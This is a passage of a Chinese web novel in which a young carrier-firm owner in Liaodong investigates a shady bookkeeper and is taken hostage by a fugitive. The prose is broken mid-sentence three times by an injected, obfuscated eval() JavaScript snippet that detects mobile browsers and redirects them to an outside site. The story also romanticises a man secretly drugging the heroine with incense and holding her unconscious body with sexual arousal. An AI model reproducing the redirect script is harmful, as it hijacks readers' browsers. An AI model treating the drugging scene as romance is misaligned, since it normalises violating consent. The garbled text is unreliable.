乐弗没说话,起身也往外走,宗钦见状跟上去,古宥谦也想跟,却被一个眼神钉在了原地。
夜色黑沉沉的。
回廊下挂着几盏灯笼,被风吹得晃来晃去。
两人一前一后,走出一段,乐弗突然停下,转过身。
“你到底怎么想的?”
她是知道夜不收的,那个行当,十人去一人归,说是给阎王爷当差都是抬举了,他又抽的哪门子疯?
乐弗有点气恼:“不就是落榜吗?再来三年就是了,何苦去夜不收作践自己?伯父就你这么一个孩子,他怎么能不担心……”
“那你呢?”
乐弗一愣:“什么?”
“那你担心吗?”
夜风忽然停了,远处传来一声不知什么鸟类的鸣啼,悠长寂寥。
月光下,宗钦的眼睛呈出深沉的墨色,像是无底深潭,能把人吸进去。
乐弗别过脸去,叹了声,肩头都垮了半截。
“我也不想你真的死在鞑子手里。”
这是实话。
二人一同长大,虽然这家伙近几年变得阴沉起来,还总爱管东管西,但毕竟是一起长大的情分,她当然不希望他死。
看着她别扭的侧脸,宗钦又笑了,伸出手,像小时候那样揉揉她的发顶。
“放心。”他说。
宗钦手劲极大,乐弗只觉得脑袋往下一沉,整个人好悬被他按进地里。
“早点儿休息。”
等她再想骂人,宗钦已经走了。
乐弗摸着脖子站在原地,半天憋出一句:“什么毛病!”
13. 熏香
戌时,式微阁。
乐弗梳洗完毕,往书案后头一坐,把白天从屯军家眷那儿拿来的几张画押又看了一遍。
纸上的手印还鲜红,纹路清晰,有几个按重了,把纸都压得凹下去一块。
之前是想过要碰开中法,毕竟那才是真正来钱的路子。盐引一到手,转手就是几倍的利,她琢磨了几天,还是把这念头按下去了。
肥肉是香,可她现在还啃不动。
盐引牵扯太深,盐运司、都司、布政司,哪路神仙不得打点?她就这几千两底子,贸然掺和进去,怕是连骨头渣都剩不下。
不如老老实实做车马行。
先前还愁没人给车行卖命,到了广宁她才算看明白,哪里是没人,这些人都在这儿扎堆等着她呢。
没错,说得就是那帮大靖军户制度最底层的虫豸——屯军。
这些人种田交粮,可徭役一件不少,逼得他们死得死,逃得逃。
乐弗想起白日里那几个妇人看她的眼神,带着点羞怯,又带着点巴结。就六钱月银,生怕她反悔似的,按手印时又快又急。
她把这几张画押又看了一遍。
只要待她们厚道些,给口热饭,给个体面,给她们男人的免除杂役,那些屯军能不记她的情?日后车马行要人卖命,那些人能说个不字?
乐弗从不觉得自己是什么三好商人。
这心思算不得光明,甚至有些卑鄙,可她向来会给自己开解。
做生意论迹不论心。反正用不了多久,那些吃苦受罪的小可怜们,自然知道该跟着谁干。
舒坦。
她正暗自松快,门帘一挑,藤梨端着一盏熏香炉进来了。
“好好的,点香做什么?”
话是这么问,可那股香味已经飘过来了,不是什么浓烈的味道,淡淡的,带着点草木的清苦,像是山里晨雾初散的味道。
乐弗吸吸鼻子:“挺好闻的。”
“这是清远香,周妈妈见姑娘睡不安稳,特地让人调了送来的,说是宫里传出来的安神方子。”藤梨把香炉搁在书案角上,轻声解释。
乐弗点点头,心里忍不住感慨。
自从住到这儿,后院这些婆子丫鬟对她那真是没得说,个顶个的上心。尤其周妈妈,心思比老账房还细,滴水不漏。
真想给她挖过来带走。
藤梨又添了块炭,熏香炉中白烟升起,像一缕扯不断的轻纱。
门在这时被人敲响。
不用抬头她都知道是谁,敢在这个点来讨骂的,就那一个。
乐弗条件反射地拽过罩衣披上。
来人发梢还带着潮气,显然是刚沐浴过,换了身深色长袍。
宗钦没说话,只拎了把椅子往她书案前一坐,跟在自己屋似的。
“方才忘了问,怎么突然来广宁了?”他明知故问,“什么时候回去?”
一听这个,乐弗当即冷笑。
“不是你害的?”她身子前倾,凑近了些,眼底带着火气:“刘夫人都招了,宗钦,我究竟哪里惹到你了?”
宗钦没接话,从案上捡了本账册,闲闲地翻了两页,过了半晌才开口:“去年年初,简自澄私接了一单建州女真的生意。”
“我当什么……”乐弗不以为意,“夷货行本就是二道贩子起家,不跟关外做生意,银子打哪儿来?”
“可出关的货里,被人掺了三百斤的生铁锅。”
空气像是被人猛地抽走了一口,乐弗脸上的不以为意顿时僵住。
“万幸,这批货在出关时被拦了。”宗钦的视线还在账册上,自顾自往下说,“里头有我的人,才没让他们嚷嚷起来,只把锅扣了,没往上报。”
乐弗张了张嘴,没发出声音。
“怎么会呢?”她声音发虚,“夷货行也是他的心血,他怎么会砸自己招牌?一定有人陷害……”
宗钦抬起眼。
目光沉沉,压得人喘不过气,乐弗后半句话噎在嗓子里,下意识打住。
他没说的是,简自澄就是故意的。
那三百斤铁锅,有完整的出关勘合。货物清单,官凭路引,牙行担保,一样不缺。一旦这批货运到女真人的地盘,那张勘合不出意外,也会很快被呈到御史手里。
一口铁锅能熔三把刀,三百斤,够一个卫所换兵器的。
简自澄要针对的是总兵府。
以前那些小打小闹,他可以装作视而不见。可这回不同。简自澄要的不是给他添堵,是奔着他们父子性命来的。
通敌的罪名一旦坐实,三百斤铁锅,够总兵府上下杀好几个来回。
新仇旧怨,所以他预备在赶考途中便将简自澄处理掉,却没想到遇到国丧。
算他命大。
“将辽安驿运从承运名录上除名,确实是我有意敲打。”宗钦收回目光,声音淡下来,“可我并没想过你会来广宁。”
乐弗知晓事态严重,一下子就蔫了,蜷进椅子不再吭声。
“说话。”宗钦的声音忽然沉下来,带着股压迫。
好一会儿她才闷闷开口:“官府生意丢了,民单也没多少,不来广宁,难不成窝在辽阳等死?”
她抱着膝盖,抬起头看他,眼神复杂得很:“算了,你把车行除名,到头来我竟还要谢你。”
“不必客气。”
“……”乐弗给他噎得一口气没上来,“你没长嘴?这事都一年多了,你怎么不等我被抓进断事司再说?”
“我以为你会查到。”宗钦抬眼,那目光落过来。
乐弗被他看得火起,什么意思?搁这儿阴阳谁呢?
此人果真没有一句骂是白挨的。
她咽下这口气,收好画押。一低头,书案下的小筐里,是昨日买的那堆布鞋。
难得小发善心一回,想着回来给齐宝他们分了,结果几人拿起来一比,不是大了就是宽了,只好摞在她这儿。
乐弗低头打量了一下对面人的靴子,果断把筐踢过去:“看看有没有你能穿的?”
宗钦挑了挑眉,随手从筐里抽出一双,翻来覆去地打量。
不过是寻常的纳底布鞋,针脚紧实却不太规整,绷了双层粗棉,鞋底是几层旧布袼褙叠的,也不算厚软。
“马市上买的吧。”
“怎么看出来的?!”乐弗立刻坐直了身子,稀奇地盯着他。
宗钦把鞋摆到跟前,指着鞋帮:“看,这里太宽,只有屯军爱穿这种。”
“哪儿就宽了?”乐弗凑过去看,嘀咕着往前探,两人越挨越近,近得宗钦能闻见她身上的气味。
茉莉,檀香和合而成的皂豆,是年前他亲自置办的。
宗钦喉结动了动,不动声色往后撤开身子,把鞋扔回筐里:“我穿正好。”
乐弗还没看清,一头雾水,不过也没追问,随口“哦”了声,重
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341560|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
新窝进椅子。
谁穿都行,总不算浪费那些妇人的手艺。
过了半晌,见宗钦还没有起身的意思,她小声打了个哈欠:“还有事?”
想睡觉了。
许是久坐乏累,宗钦换了个双腿交叠的姿势,上半身懒懒靠着椅背,紧实长腿就那么架着,更衬得他人高马大。
“回来前,杏榜出了。简自澄是会元,若殿试不出岔子,他就是今科状元。”
会元?
乐弗眨巴眨巴眼,倒也不算太意外。
她一直知道简自澄读书厉害,人也聪明,想夸来着,又想起对面这人落榜的事。
算了,总不好当面戳人伤疤。
于是干巴巴回了句:“你也别灰心了。”
宗钦低低笑了:“不太中听。”
“少蹬鼻子上脸……”乐弗随口嘟囔一句,也拿了本账册,打算把这些天支出去的银钱理理。
可越翻眼皮越沉。
那缕清远香的烟气飘在两人中间,把宗钦的身影遮得有些模糊。她强撑着又翻了两页,上头的字越来越大,晃得她脑袋发懵。
与其说是睡,不如说是晕过去的。
乐弗身子一歪,直接趴到书案上,沉沉的,人事不知。
书案对面的人终于撂下手中账册。
过了一会儿,他伸出手指,从她额头缓缓探下去。顺着鼻梁,滑过鼻尖,最后落在嘴唇上方。
呼吸温热,一下一下扑在指腹上。
他收回手,绕过书案把人抱起,迫不及待地低头埋在她颈窝里深吸一口。
月洞架子床两侧的幔帐垂着,乐弗被他轻轻放到里侧,以往到这一步就该走了,可这回他没动。
站了一会儿,脱下靴子和衣而躺,手一挥,两侧的幔帐缓缓下坠。
纱帐闭合,隔出一块小天地。
床榻很大,乐弗安安静静躺着,他翻了个身,从背后贴上去,把人整个抄进怀里,嵌得严丝合缝。
乐弗的身量在女子里算修长的,可往他身前一躺,才堪堪及到肩膀。他低头看了一眼,自己的腿挨着她的,长出一截。
宗钦忽然觉得有些好笑。
平日里看她吆五喝六,谁都不怵,可真往这儿一摆,只怕连他一条胳膊都挣不开。
帐子里还飘着清远香的余韵,干净,清醇。
他埋进她的发间,蹭着,嗅着,鼻尖沿着耳廓往下,经过耳垂时,喉结下意识滚动,强忍着舔咬上去的冲动,最后停在颈侧。
那里有一层细密绒毛,随着他的呼吸不停颤动。
他的身体起了些变化。
这并不奇怪,他想,也没去管,把人又往怀里按了按,下巴抵上肩窝,呼吸渐渐粗重。
乐弗可能是被勒得不舒服,睡梦中动了动,含糊咕哝一声。
即使这样宗钦仍没放手,箍着她的力道又紧了几分,犹嫌不足。
凭什么?
凭什么只有睡着了的这一团软肉才是他的?
乐弗在里,宗钦在外,肩膀抵着肩膀,后背贴着胸膛,膝盖顶进膝窝。
像两片贴合的蚌壳。
隔着寝衣,薄唇贴上她肩头,呼吸湿热,像从胸腔深处挤出来的,还带着点惶恐的气音。
“可以不爱我。”
每说一字,薄唇便在她肩头轻啄一下,像要将这话烙进皮肉。
“但只能属于我。”
14. 账房
昨儿夜里刮了一场风,把医巫闾山上的寒气冲散了些,天光一亮,广宁才真的有了些许春意。风里带着股子泥土化开的青草气,从高墙外飘进式微阁,漫到卧房。
乐弗抽抽鼻子,没急着睁眼,反倒十分惬意地先滚了两圈。
自打到这,夜里不是睡得浅就是爱做梦,但昨夜不同。
这一觉睡得极好,好得发邪。
极速入睡固然可喜,但这种近乎被清远香强行“摁”进梦乡的感觉……也实在蹊跷。只是她思来想去都想不通,最后只能归结为是宫里的神奇配比,就连蒙汗药都能做成香香的味道。
肩背有些发僵,她起身活动了一下脖颈,伸手去够床尾衣裳时忽然顿住了,鼻尖动了动。
皂角味儿。
淡得像是从帐幔外挤进来的风捎带了一点,再一嗅,就什么都没了。
她也未在意,穿鞋下地,该干嘛干嘛。
梳洗的工夫,藤梨从外头进来,手里捧着一摞纸:“姑娘,那几个屯军家属的状况齐宝叔都查清了,全在这儿。”
乐弗擦干了手,接过来一张一张翻。
既然要跟屯军打交道,那该照应的就照应一二,主要是想着能不能把卖她布鞋的那个妇人的孩子找回来。
只是翻到第三张,她停住了。
[阿苔,年二十三岁。夫姓撒里,本隶达军籍,去岁冬间逃遁。遗有一女,年三岁半。]
达军这个称呼在辽东不稀奇,北边归附来的鞑子、女真,但凡能骑马拉弓的,朝廷都会给个武职安插进卫所,吃粮当兵。
待遇也很优厚:赐汉姓,给田地,赏钞币,听起来像天上掉馅饼的好事,可问题就在于,这馅饼带着钩子。
一旦被朝廷编入卫所,成为军户,这些达军就落入了和汉族军士一样的严苛体制。要么屯田收成被盘剥,要么摊派的军役太重。
于是有人逃回塞外,哪怕苦点,也比在卫所里当牛做马强。
看来撒里也是其中之一,只是苦了阿苔母女。
男人一跑,她就成了“逃军家眷”。按规矩,这种人家发配、充军,怎么处置都行,可她不仅没走,还带着孩子在广宁马市上闯荡。
乐弗对这母女印象深刻,就是那天叉着腰痛骂泰宁鞑子的那一大一小。
这会儿对着这张纸,她又笑了笑,心想泼辣点儿好,若是性子软,就该被人嚼碎活吞了。
乐弗把纸页收好,起身准备出门,今天得去车马行看看昨日新招来的账房。
日头正好。
主仆俩刚迈出仪门,就听见外头有人大声嘟囔,还带着股悲愤:
“一月一两,就为学那鸟语?快别造孽了!”
乐弗抬眼看去。
大门外停着一辆马车,车辕上套着两匹矮壮的辽东马,正不耐烦地刨着蹄子。车旁,古宥谦像条霜打的茄子一样堆堆着。
“古公子。”乐弗走近几步,打了个招呼。
他脸上的悲催表情还没来得及收,挤出一个比哭还难看的笑:“乐弗姑娘。”
“站这儿做什么?”
“等人。”古宥谦往大门那边努努嘴,“同那位一道,去夷人馆学鞑子话。”
话音刚落,宗钦便从门内走出,目光先落在乐弗身上,微微颔首。
乐弗轻轻欠身回礼。
古宥谦连忙收了苦脸,认命地往车辕上爬:“投军的饷银还没见着,银子倒先往外掏了……”
“不学也行,到了夜不收营里,你只管做火兵。”
“凭啥?!”古宥谦本就是吃屎都要吃尖儿的那种人,一听这话顿时连嘟囔都忘了,梗着脖子瞪眼,“不出哨那还算什么夜不收!我岂能给人烧水做饭!”
说白了,此人心里还是藏着一股少年锐气。嘴上再抱怨,内里也想做个能上阵出哨的汉子,半点窝囊气都不肯受。
“那还不滚上去?”宗钦眼风冷冷一扫。
被他这一喝,古宥谦那股炸毛的劲儿瞬间泄了大半,悻悻转身,手脚麻利地拱进车里。
“走了。”
留下这么一句,宗钦两步跃上马车,辕马扬蹄,车头缓缓调转。
*
乐弗迈进辽安驿运大堂的时候,新来的账房乔敬泽已经候着了。
四十出头,两撇山羊胡,写得一笔好字,心算极快。据他自己说是从开原那边过来的,当时广宁这边正缺个管账的,见了一面觉着还行,就留下了。
她往账房主位一坐,身后站着那几个屯军家眷,阿苔也在里头。
“东家,昨日的流水都在这儿了。”乔敬泽躬身递上一个账本,外加一沓底单。
他眼睛往后头瞟了一眼,从阿苔几个人身上挨个扫过,面色不明。
乐弗只当没看见,翻开账本,上面字迹工整,条目清晰。
上半个月接了四单生意:两场中长途,两趟城内短驳,脚银、伙计饭钱、喂马草料、结余,每笔账目都记得明白。
尤其是去团山堡送布匹那单,底下还注了行小字:“耗损五尺,按行规扣。”
账面十分干净。
她又拿起底单和草料簿翻开比对。
其他的都没什么问题,只不过去团山堡送布的那辆马车,在闾阳驿这个驿站领取了双份的精料,草料簿上还有葛喜生的手印。
领双份饲料倒没什么,开春路本就难走,只是……闾阳驿?
乐弗略皱眉。
大靖对“路权”有严格的身份划分,官员才能走驿路,百姓走官道,商人走商道。
又因为辽东是军镇,卫所军官对驿路有绝对管辖权。抓到擅走驿路的民商,扣作苦力都是轻的,万一耽误了军情传递,就地砍了也不算什么。
况且从广宁去团山堡,官道直抵,何须绕驿?
乐弗放下账本,对上乔敬泽的目光:“闾阳驿这单,走的什么路?”
后者面上带笑,十分自然:“东家好眼力,这单走的是驿路。”
“可咱家的马车走不了驿路。”
“能走。”乔敬泽笑容不变,“不瞒东家,我妹夫是广宁右屯卫的百户,姓郑,去年进京公干领的勘合,回来事儿忙忘了缴,如今那张还在他手里。走驿路快,成本低,利润高,比走官道能省小半日工夫。往后接活儿,报价就能比别人便宜,生意自然就多了。”
他说得头头是道,山羊胡一颤一颤的,话里话外都是给东家分忧。
“是么……”乐弗慢慢笑了,热络得很,眼睛里都带着光:“乔账房路子这么广,往后咱们车行可省不少银子了……该赏。”
她从抽屉里摸出一兜碎银放到桌上。
“给东家效力是自然。”乔敬泽欠身,“赏银可不敢当。”
“拿着吧。”
乔敬泽推辞了两句,到底还是揣进袖里。
只是他刚一走,乐弗就把手里的账本往桌上一扔。
“啪。”
声音不大,后头几个女人都吓了一跳。
乐弗没说话,只看着乔敬泽出去的方向,眼神实在称不上和善。
一个新来的账房,非亲非故,凭什么这么死心塌地给车行卖命?
又是勘合,又是驿路,又是提高利润的……这天大
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341561|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的好事,怎么就落她头上了?
无事献殷勤,非奸即盗。
可这些话她没说出口,只靠在椅背上琢磨对策。
后头站着的那几个女人对视一眼,也没敢吭声。
阿苔似乎想说什么,嘴唇动了动又抿上了。
她心里打鼓,方才乔敬泽说那个郑百户的时候,她就冒出一个念头,可这念头说出来,万一错了呢?万一人家真有这门路呢?她一个外邦人,有什么资格在这儿指手画脚?
正犹豫不决时,就见乐弗头也没回开口:“有话直说。”
阿苔张张嘴,看了眼身旁几人,慢慢挪到她跟前:“东家,方才乔账房说的那个郑百户,广宁右屯卫的,我……我没听过。”
乐弗的目光落在她脸上。
被她一看,阿苔有些慌,连忙摆手:“我男人从前就在广宁右屯卫,驻防闾阳驿北边三十里,我也跟着在那儿住了小两年。那里的百户,我都知道,可从来没听说过姓郑的……”
阿苔声音越来越低:“但我已经两年没回去了,那儿如今怎么样,我也不知道……”说完就垂下眼,像是做了亏心事似的。
另一个屯军媳妇接茬了,正是卖布鞋的严嫂子。
“有倒是有,前屯卫调过来的那个?姓郑……叫什么来着?”
“郑俊义?”另一个媳妇接话。
“不是郑俊义,郑俊义是总旗,不是百户。”
“那你说的是郑博来?”
“郑博来早调走了,去年的事儿。”
“调哪儿去了?”
“听说调金州卫了。”
“那不对,金州卫那个姓周,不姓郑。”
几个媳妇你一言我一语就这么议论起来了,将附近几个卫所的百户、千户的底细翻了个底朝天。
谁在哪儿当差,谁什么时候来的,谁跟谁有仇,谁跟谁沾亲带故……说得清清楚楚,跟报菜名似的。
听得乐弗目瞪口呆,半天憋出一句:“你们连这个都清楚?”
几个媳妇愣了一下,随即都笑了。
“东家,”严嫂子笑着说,“咱们男人都是屯军,可屯军也不是老蹲在一个地方的。上头摊派,今儿个去这儿戍守,明儿个去那儿当差,咱们就得跟着。走的地方多了,那些百户千户的底细,可不就都知道了?”
“就是,”另一个接话,“别说百户了,闾阳驿那几个总旗谁跟谁不对付,谁家婆娘爱串门子,咱们都知道!”
几个人又笑起来,笑得没心没肺的。
乐弗也跟着笑了,往椅背上一靠,心想这些嫂子可真是藏龙卧虎。
“喜生!”她朝外高喊了声。
没多久窜进来个人影:“小东家?”
“我问你,乔敬泽给你勘合的时候,说什么了?”
葛喜生想了想:“就说是给车行找的门路,让咱们别往外瞎传。”
“下次他若还给你勘合,你就收着。可要是再让我发现你擅作主张,连个屁都不放就往驿路上跑——”
乐弗顿了顿,端起茶碗抿了一口。
葛喜生的心瞬间悬到嗓子眼儿。
“你就去抚顺吧。”乐弗放下茶碗,冲他笑了笑,“那儿的夷货行缺个扛大包的,冬天也长,正好让你醒醒脑子。”
“不敢不敢,没下次了!”
“回吧。”
“得嘞!”葛喜生又窜出去了。
帘子还在晃,一旁的阿苔忍不住开口:“既然那乔敬泽有猫腻,为何还让喜生收他的勘合?”
“不收,怎么知道他想干什么,总得看看路数……”
15. 卫峥
出了内堂,乐弗正跟齐宝交代事,就听外头吵闹喧哗,紧接着“咣咣”一阵锣响,开道的官兵吆喝着“闲人避让!”,眨眼功夫,十字大街就被封锁得严严实实。
“怎么了怎么了!”阿苔几个小媳妇掀开帘子就往外探头。
说话间,四五个军卒已经跑到近前了,为首的小旗朝齐宝一拱手,脸上挂着公事公办的笑:“店家,奉旨搜捕,见谅啊。”
也不等齐宝回话,这位手一挥,几个军卒鱼贯而入。
“仔细搜!桌底、柜中、后院,一处都不许漏!”
为避嫌,乐弗转身回了内堂,留齐宝独自应付这些人。
几个军卒把车马行翻了个底朝天,桌底柜子自不必说,连后院拴骡马的地方都仔仔细细查了一遍。这般折腾还不算完,其中一个又掏出小册子,把车马行有多少车、多少马、多少车把式,记得一清二楚。
为首的那小旗按着刀,对着齐宝吩咐:“你们这车马行,南来北往的人多,这段日子不许接客,不许发车。上头有令,但凡见到南边来的生面孔、年轻后生,立马报官,不得隐瞒!”
“那是自然!那是自然!”齐宝点头哈腰的,做出一副惶恐神情,态度卑微:“敢问小旗官,这戒严到什么时候?小人这车马行可刚开张不久……”
“慌什么。”小旗瞥他一眼。
齐宝机灵,立马会意,悄悄塞了锭银子过去,外加说尽好话,终于给这几位送走了。
内堂里几个大小媳妇讨论起来:
“这阵仗,要么是逃犯要么是奸细……”
“什么奸细啊,借着由头来商户跟前儿打秋风的!”
看这架势,城门一时半会儿也开不了,乐弗干脆让大伙先各自归家,趁着白天路好走,她自己也带着藤梨坐上回程马车。
车厢轻晃,乐弗靠着厢壁,脑子里慢慢琢磨着乔敬泽此人。
说不失落是假的,怎么就锁城了呢,那乔敬泽得什么时候再给勘合?
她这人最烦的就是事儿刚起了个头,就叫人给堵在半道上。
在辽阳时事事顺遂,一路风生水起,仿佛那个地方天生旺她,早就忘了被人为难是什么滋味了。
久违的兴致,火星子似的一点点在心头窜起。是的,乐弗非但不恼,反倒起了玩心,跃跃欲试。
马车忽然一停。
藤梨没有防备,手里的酥皮糕饼差点儿怼脸上,她急忙撩开帘子:“咋啦!”
赶车的是总兵府的老刘头,闻言回头:“钟楼走不了,戒严!得绕路!”
“您看着走!”
马车缓缓转向,自钟楼西侧的窄巷折转,刚拐进民居夹道,又猛地一刹。
“你个老刘头!诚心的吧!”藤梨手中那块糕饼还是碎了,她恨恨往嘴里一塞,拍拍手撩帘出去了。
“哎哟——!”一声惨叫平地起,破衣烂衫的小叫花子躺在马蹄底下,正抱着腿哭嚎。
老刘吓傻了:“我、我可没碰着他啊!”
“我不管……”那小孩儿哭得稀里哗啦,也不知道伤着哪了。
“你少讹人!”老刘气得骂了两声,撂下鞭子就要下去赶他。
小叫花子身形灵巧得很,绕着马蹄子左躲右闪,溜老刘跟溜孙子似的。
趁着这功夫,车底悄没声儿地滑过一道人影。
一个大叫花子狸猫似的就地一滚,钻进车厢底下,双手抠住车底木梁,整个人贴上去,一点声音都没露。
见计划成了,那小叫花子假装绊了一跤,被老刘抓住给了两下狠的,爬起来就跑。
“……”从头看到尾的藤梨十分纳闷,怎么还有上赶着讨揍的?
马车重新启动,驶入总兵府后墙的护衙街,绕开了正面戒严的军卒,最终从侧门小巷绕回府中。
进到车马院,老刘跳下来卸马,压根没留意车底下还扒着一个。
卫峥此刻憋得灰头土脸,腰也快断了,仍一动不动,不敢松手。
*
夜里,式微阁刚点上灯。
因着孝期,乐弗头上也没什么首饰,木簪子一抽,如云墨发就披下来了。她换上中单软衣,正要去沐浴,就听抱厦那边传来“噗通”一声。
动静略大,像一条狗从高处跳下来。
“藤梨?”
喊了两声没人应,她索性举着烛台摸过去,想看看是不是窗户被风吹开了。
前脚踏进抱厦,后脚就被人擒住了,一把匕首虚虚架到她脖颈旁:
“别喊。”
乐弗闭了闭眼,好悬被身后这股味儿熏吐了,缓了缓,她略微忌惮地将那人持刀的手臂推了推,脖颈后仰,“别伤我,想要银子尽管拿。”
良久沉默后,那人开口:“我要见宗传辉。”
“……我可以带你去。”大哥,可你这不是自投罗网吗?
乐弗摸不清他来意,也不敢贸然拒绝,其实宗传辉此刻并不在府上,白日广宁戒严,衙门里正忙着。她想的是只要出了这里,就总能找到求救机会,于是假装应下。
可来人似乎看穿了她的心思,匕首往前贴近一寸,冰凉的刃尖直抵她下巴:“你带路,走檐上,直接去他院子,少跟我耍花样。”
通过卫峥这两天的摸排观察,发现宗传辉养在府里的这个小姘头,实在不简单。
这女人在这儿进出自如,连护卫对她都带着敬畏。不像宠妾,倒像主子。
好你个广宁侯!
“现在就去!”卫峥没废话,拎乐弗跟拎鸡崽似的,出了抱厦一跃而起,二人稳稳当当落到房顶。
圆月高悬,脚下的式微阁被照得明明暗暗,总兵府的重檐叠院也尽收眼底,再远处,就是城内的街巷灯火。
还挺好看,乐弗寻思。
卫峥有些无语,这位脖子上抵着把刀还有工夫赏景呢。
“带路!”
乐弗一个激灵,只好往前挪。
“走快点儿!”卫峥咬牙切齿。
快你爹!乐弗暗骂。
这么高怎么走快?!瓦片倾斜,有的还带着未化尽的雪,几步下去,软底鞋全湿了。
他有这样的身手,找间院子不是轻轻松松?何必多此一举带上她这个累赘?除非是把她当作要挟宗传辉的筹码,这才非带上不可。
想通这一层,乐弗彻底摆烂了,停下脚步,脖子一扬:“捅死我吧。”
“……”卫峥额角青筋直跳,只好一把扛起她,在庭院间穿梭。
路过东边一处院子时,乐弗瞅准时机,把湿透的软底鞋踢下去,又使劲晃了晃身子。
卫峥脚下一个不稳,瓦片碰撞发出细微声响。
“老实点!”他低喝一声,又怕引来亲兵,加快步伐,最后停在了主院。
看着里面一团漆黑,不像有人的样子,卫峥怒意翻涌,“他人呢?”
“衙门呢。”
“敢耍我!”
多日的奔波躲藏,让卫峥像一根拉到极致的弓弦。哪怕一片羽毛擦过,也能让他崩断。他不再克制手劲,锋利匕首狠狠抵住乐弗下巴,让她不用低头就知道肯定划破了。
有点儿疼。
“我没有。”乐弗声音稳得很,“进屋等着,宗传辉戌时就回。”
卫峥没动,毫不掩饰一身冷厉杀意,像在判断这句是真是假。
乐弗这才看清此人模样。
蓬头垢面,头发都擀毡了,估摸三十四五,眉眼沉敛,只是……不大像亡命之徒。
看着看着,心底莫名咯噔一下。
她说不上来在哪儿见过,可这双眼就是莫名地熟悉。
最后卫峥还是信了乐弗的话,将人提溜进中堂,二人在黑暗中无言对坐。
“你找宗传辉干什么?”
卫峥没理她。
乐弗小心地碰了碰下巴上的口子,疼
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341562|199357||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得轻嘶一声,也不怕冷场,自顾自叨叨:“白天那些军卒,是来抓你的吧?那小叫花子跟你一伙的?”
卫峥终于舍得分她个眼神,“你少过问。”
中堂里漆黑一片,地龙也没烧,冻得乐弗直打哆嗦。她抱膝蜷着,不得不用手去暖脚。
“鞋呢?”卫峥顿觉不妙,站起身来一把扼住她的脖颈上提,“你找死!”
乐弗下意识挣扎,抬手拍打,可在卫峥面前,这点力道跟螳臂当车没两样。
耳朵里逐渐嗡嗡作响,只剩下脖颈处的剧痛和窒息的恐慌。
此时一声门响。
她不知道发生了什么,也顾不上了,只知道对面的贼人终于松了手。
骤然得了自由,乐弗瘫在椅子里,不停咳嗽换气,缓了好半响才回过神。
宗钦再晚来一步,她恐怕真要死这儿了。
桌椅翻倒之声不断响起,两人近身缠斗,一个认定对方是亡命歹徒,一个只当对面是宗传辉的死士亲兵,都往对方心口、肋下这些要命的地方招呼。
拳脚撞在一处时,那声响乐弗有些说不上来。
像硬木砸在土地上,不是皮肉相击的轻响,而是骨节抵着骨节那种闷沉,听得她牙根发酸,仿佛下一刻谁的骨头就要碎了。
作为战场,中堂确实有些小了,二人打到了庭院。
连日奔波,卫峥本就气力不继,跟宗钦缠斗时破绽越来越多,他心知没有胜算,想抽身,可宗钦鬼魅似的跟上去,竟将他退路封死,半点空隙都不留。
这时乐弗踉跄着跟出门去,扶着廊柱不住咳喘,目光一扫,瞥见落在阶前的那柄匕首。
“接着!”
她弯腰一把抓起,朝扭打在一处的两人掷了过去。
宗钦没有回头,反手一抄,匕首稳稳握在手里,浑身煞气几乎要凝成实体,他不再藏力。
而卫峥连反应的空隙都没了,胸口重重挨了一记,整个人被掼到地上,被宗钦单膝压住,半分也动弹不得。
身上的人俯视着他,月光只照到他半边肩背,大半张脸浸在阴影里,唯有一双眼深如寒潭,透着股视人如草芥的漠然。
匕首猛地落下,卫峥闭上了眼。
“住手——!”
正院门口响起一声暴喝。
刃尖堪堪擦过卫峥的脖颈,猛地钉入砖石之中!
宗传辉一身常服,大步冲了过来,脸色铁青,死死盯着被压制住的卫峥,整个人都在发抖。
*
一炷香的功夫,中堂整洁如新,灯火通明。
卫峥与宗传辉并肩坐在上首吃茶,如果忽略前者脸上那几道深浅不一的伤痕的话,那这画面倒也算得上悠闲。
“所以里头那个,不是你姘头?”
一口浓茶差点喷出去,宗传辉急忙辩解:“殿下慎言!”
“不是就不是吧,急什么。”卫峥歪歪脖子,被揍的地方还钻心地疼。
也不知他家小子吃什么长起来的,力道如山岳倾轧,真是不可多得。
卫峥又抿了口茶:“不是你姘头,那是你儿媳妇?”
“这孩子殿下也认得。”
“哦?”卫峥坐直身子,来了兴趣。
宗传辉放下茶杯,怜悯地看他一眼:“乐廷章的闺女,乐弗,殿下的表外甥女。”
“……”
卫峥顿时像被雷劈了一般,僵在当场。
天爷啊,今天这事要是叫那两口子知道了,非把他活劈了不可。
目瞪口呆好半响,卫峥仰头灌尽手边茶水壮胆,几步冲到里间:
“孩子,我是你舅!”
乐弗正乖乖仰着头让宗钦上药,脖颈上紫红淤青一大片,十分可怖。听见动静,二人偏头,目光一同扫过来。
